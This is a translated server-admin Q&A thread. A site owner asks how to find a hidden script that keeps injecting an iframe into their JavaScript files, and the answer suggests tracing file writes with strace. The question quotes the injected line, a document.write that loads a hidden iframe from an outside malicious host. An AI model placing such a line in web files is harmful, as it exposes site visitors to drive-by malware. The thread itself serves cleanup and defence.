![尝试在我的服务器上搜寻恶意软件](https://linux22.com/image/601850/%E5%B0%9D%E8%AF%95%E5%9C%A8%E6%88%91%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E5%AF%BB%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6.png)
可能重复:
我的服务器被黑了 紧急求助
我的一台服务器最近遭受了恶意软件攻击。此后,我清理了服务器,升级了各种 wordpress 安装和 timthumb 文件,并删除了大量旧目录和存档目录。我的主机 (dreamhost) 同意所有大漏洞都已修复。
现在我只需要找到恶意软件的来源。在我的服务器上的某个地方,一个脚本正在向我的所有 javascript 文件添加 iframe 注入。这种情况每隔几分钟就会发生一次。以下是注入的一个示例,尽管有时会发生变化:
document.write('<iframe src="http://wbjsb.myddns.com/valcunatrop.cgi?6" scrolling="auto" frameborder="no" align="center" height="11" width="11"></iframe>');
如果我将其移除,它会在大约 5 分钟后恢复。
关于如何找到进行这些更改的脚本,您有什么想法吗?谢谢!
答案1
如果恶意软件是 Web 服务器实际执行的脚本,您可以尝试使用它strace
来查看 Web 服务器进程/脚本解释器根据正在进行的系统调用打开和/或写入哪些文件。这有点低级,但确实有效。(这取决于所使用的服务器、脚本语言和分叉模型)。您可能希望在脚本解释器上粘贴 strace(以 php 为例,例如php5-fpm
如果它是 PHP FPM,apache2
如果使用 mod_php5),并可以看到正在打开哪些文件,例如对于使用 mod_php5 的 apache2:
sudo strace -f -e open,close,read,write apache2 -k start | tee /tmp/strace.log
或类似的东西,然后检查日志。(-f
强制 strace 跟随 fork,假设您的 Apache 使用的是 prefork MPM;通常是 mod_php5 安装的默认设置,-e open
将输出限制为仅open(2)
系统调用和相关内容)。显然,这将向您显示服务器/PHP 正在打开的每个文件,但您可以做一些grep
魔术来尝试缩小范围。
您可能可以根据write(2)
使用 grep 发生的系统调用来缩小范围(使用-v
strace 选项以避免截断发送到的字符串write(2)
)。